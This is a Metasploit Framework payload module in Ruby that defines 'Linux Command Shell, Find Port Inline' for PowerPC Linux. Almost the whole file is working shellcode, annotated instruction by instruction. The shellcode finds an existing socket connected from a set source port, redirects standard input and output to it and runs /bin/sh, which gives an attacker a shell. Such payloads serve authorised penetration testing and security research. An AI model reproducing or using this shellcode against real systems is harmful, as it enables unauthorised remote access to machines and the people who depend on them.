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shell_find_port.rb
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shell_find_port.rb
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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/find_port'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell, Find Port Inline',
'Version' => '$Revision$',
'Description' => 'Spawn a shell on an established connection',
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ ARCH_PPC, ARCH_CBEA ],
'Handler' => Msf::Handler::FindPort,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'CPORT' => [ 86, 'n' ],
},
'Payload' =>
"\x7f\xff\xfa\x78" +# xor r31,r31,r31 #
"\x3b\xa0\x01\xff" +# li r29,511 #
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
"\x7c\x3c\x0b\x78" +# mr r28,r1 #
"\x3b\x7d\xfe\x11" +# addi r27,r29,-495 #
"\x97\x61\xff\xfc" +# stwu r27,-4(r1) #
"\x7c\x3a\x0b\x78" +# mr r26,r1 #
"\x97\x41\xff\xfc" +# stwu r26,-4(r1) #
"\x97\x81\xff\xfc" +# stwu r28,-4(r1) #
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
"\x3b\xff\x01\xff" +# addi r31,r31,511 #
"\x3b\xff\xfe\x02" +# addi r31,r31,-510 #
"\x38\x21\x01\xff" +# addi r1,r1,511 #
"\x38\x21\xfe\x05" +# addi r1,r1,-507 #
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
"\x7c\x24\x0b\x78" +# mr r4,r1 #
"\x38\x7d\xfe\x08" +# addi r3,r29,-504 #
"\x38\x1d\xfe\x67" +# addi r0,r29,-409 #
"\x44\xff\xff\x02" +# sc #
"\x3b\x3c\x01\xff" +# addi r25,r28,511 #
"\xa3\x39\xfe\x03" +# lhz r25,-509(r25) #
"\x28\x19\x04\xd2" +# cmplwi r25,1234 #
"\x40\x82\xff\xd0" +# bne+ <fndsockcode+40> #
"\x3b\x1d\xfe\x03" +# addi r24,r29,-509 #
"\x7f\x04\xc3\x78" +# mr r4,r24 #
"\x7f\xe3\xfb\x78" +# mr r3,r31 #
"\x38\x1d\xfe\x40" +# addi r0,r29,-448 #
"\x44\xff\xff\x02" +# sc #
"\x37\x18\xff\xff" +# addic. r24,r24,-1 #
"\x40\x80\xff\xec" +# bge+ <fndsockcode+96> #
"\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 #
"\x40\x82\xff\xfd" +# bnel+ <fndsockcode+120> #
"\x7f\xc8\x02\xa6" +# mflr r30 #
"\x3b\xde\x01\xff" +# addi r30,r30,511 #
"\x38\x7e\xfe\x25" +# addi r3,r30,-475 #
"\x98\xbe\xfe\x2c" +# stb r5,-468(r30) #
"\x94\xa1\xff\xfc" +# stwu r5,-4(r1) #
"\x94\x61\xff\xfc" +# stwu r3,-4(r1) #
"\x7c\x24\x0b\x78" +# mr r4,r1 #
"\x38\x1d\xfe\x0c" +# addi r0,r29,-500 #
"\x44\xff\xff\x02" +# sc #
"/bin/sh"
}
))
end
end